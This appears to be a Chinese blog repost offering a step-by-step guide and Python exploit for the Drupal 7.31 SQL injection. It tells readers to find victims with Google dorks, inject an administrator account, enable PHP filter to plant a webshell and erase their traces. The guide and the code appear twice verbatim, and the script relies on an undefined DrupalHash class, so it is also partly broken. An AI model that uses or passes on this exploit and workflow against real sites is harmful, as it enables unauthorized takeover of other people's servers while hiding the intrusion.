Drupal 7.31版本最新漏洞利用个人完整总结,共享出来(附上利用源码)
2016-11-25 17:10
351 查看
2014年10月16日有国外安全研究人员在Twitter上曝出了Drupal 7.31版本的最新SQL注入漏洞,并给出了利用测试的EXP代码,小编在本地搭建Drupal7.31的环境,经过测试,发现该利用代码可成功执行并在数据库中增加一个攻击者自定义的用户。
通过测试,我总结了一套完整的利用过程。
(1)利用google查找潜在的目标,关键字很多啦,比如:inurl:?q=node/等等;
(2)大概判断一下版本,一般就是查看changelog.txt文件。其实也可以不查看,直接暴力搞,这就稍微没点节操了,哈哈,开个玩笑;
(3)利用脚本添加登录用户,这个用户是在?q=user/login下登录,进入了Drupal后台;
以下的步骤就是利用Drupal后台上传webshell了,方法很多啦,这里介绍一种,记得搞完擦痕迹。
(1)开启PHP filter功能;
(2)设置php code编辑内容,保证超级管理员可以使用该模式,并且可以解析php代码;
(3)利用php code模式新增文章就可以啦。
就这么多了,不多说了,你懂的。。。
附上利用代码,下面的代码使用Python写的,部分用户可能在运行时出错,这是因为缺少库文件,可以点击打开链接。
[python] view
plain copy
import urllib2,sys
if len(sys.argv) != 4:
print ""
print "python 7.xSQL.py http://xxoo.com/drupal admin 123456"
print ""
sys.exit(1)
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
insert_user = "name[0%20;set+@a%3d%28SELECT+MAX%28uid%29+FROM+users%29%2b1;INSERT+INTO+users+set+uid%3d@a,status%3d1,name%3d\'" \
+user \
+"'+,+pass+%3d+'" \
+hash[:55] \
+"';INSERT+INTO+users_roles+set+uid%3d@a,rid%3d3;;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
#print insert_user
content = urllib2.urlopen(url=target, data=insert_user).read()
if "mb_strlen() expects parameter 1" in content:
print "Success!\nLogin now with user:%s and pass:%s" % (user, password)
通过测试,我总结了一套完整的利用过程。
(1)利用google查找潜在的目标,关键字很多啦,比如:inurl:?q=node/等等;
(2)大概判断一下版本,一般就是查看changelog.txt文件。其实也可以不查看,直接暴力搞,这就稍微没点节操了,哈哈,开个玩笑;
(3)利用脚本添加登录用户,这个用户是在?q=user/login下登录,进入了Drupal后台;
以下的步骤就是利用Drupal后台上传webshell了,方法很多啦,这里介绍一种,记得搞完擦痕迹。
(1)开启PHP filter功能;
(2)设置php code编辑内容,保证超级管理员可以使用该模式,并且可以解析php代码;
(3)利用php code模式新增文章就可以啦。
就这么多了,不多说了,你懂的。。。
附上利用代码,下面的代码使用Python写的,部分用户可能在运行时出错,这是因为缺少库文件,可以点击打开链接。
[python] view
plain copy
import urllib2,sys
if len(sys.argv) != 4:
print ""
print "python 7.xSQL.py http://xxoo.com/drupal admin 123456"
print ""
sys.exit(1)
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
insert_user = "name[0%20;set+@a%3d%28SELECT+MAX%28uid%29+FROM+users%29%2b1;INSERT+INTO+users+set+uid%3d@a,status%3d1,name%3d\'" \
+user \
+"'+,+pass+%3d+'" \
+hash[:55] \
+"';INSERT+INTO+users_roles+set+uid%3d@a,rid%3d3;;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
#print insert_user
content = urllib2.urlopen(url=target, data=insert_user).read()
if "mb_strlen() expects parameter 1" in content:
print "Success!\nLogin now with user:%s and pass:%s" % (user, password)
相关文章推荐
- Drupal 7.31版本最新漏洞利用个人完整总结,共享出来(附上利用源码)
- ewebeditor编辑器ASP/ASPX/PHP/JSP版本漏洞利用总结及解决方法
- 利用TortoiseSVN获取最新版本的OpenCV源码
- 利用TortoiseSVN获取最新版本的OpenCV源码
- 利用TortoiseSVN获取最新版本的OpenCV源码
- Drupal 7.31 SQL注入漏洞利用具体解释及EXP
- Drupal 7.31版本爆严重SQL注入漏洞
- 利用TortoiseSVN获取最新版本的OpenCV源码
- Drupal 7.31 SQL注入漏洞利用详解及EXP
- upfile上传漏洞的利用总结
- linux系列服务总结之四:SAMBA共享设置完整介绍
- [转帖]最新FLASH 0DAY 漏洞总结分析篇
- 给大家漏一手本人亲自精心撰写的通用ajax框架,完全兼容 IE FireFox各个版本!(附完整源码及完整范例)
- 线程池C语言版本源码(Daniel Robbins著,注释及修正归个人)
- 利用Jquery制作一个广告图片展示-附源码(VS2010版本)
- Clickjacking国内首发连360没有检查出来的最新浏览器漏洞
- 微软IE最新XML漏洞利用代码
- 个人觉得不错,呵呵,贴出来共享一下
- windows系统文件夹的共享,网上邻居的共享,个人经验总结
- 利用net share 删除共享漏洞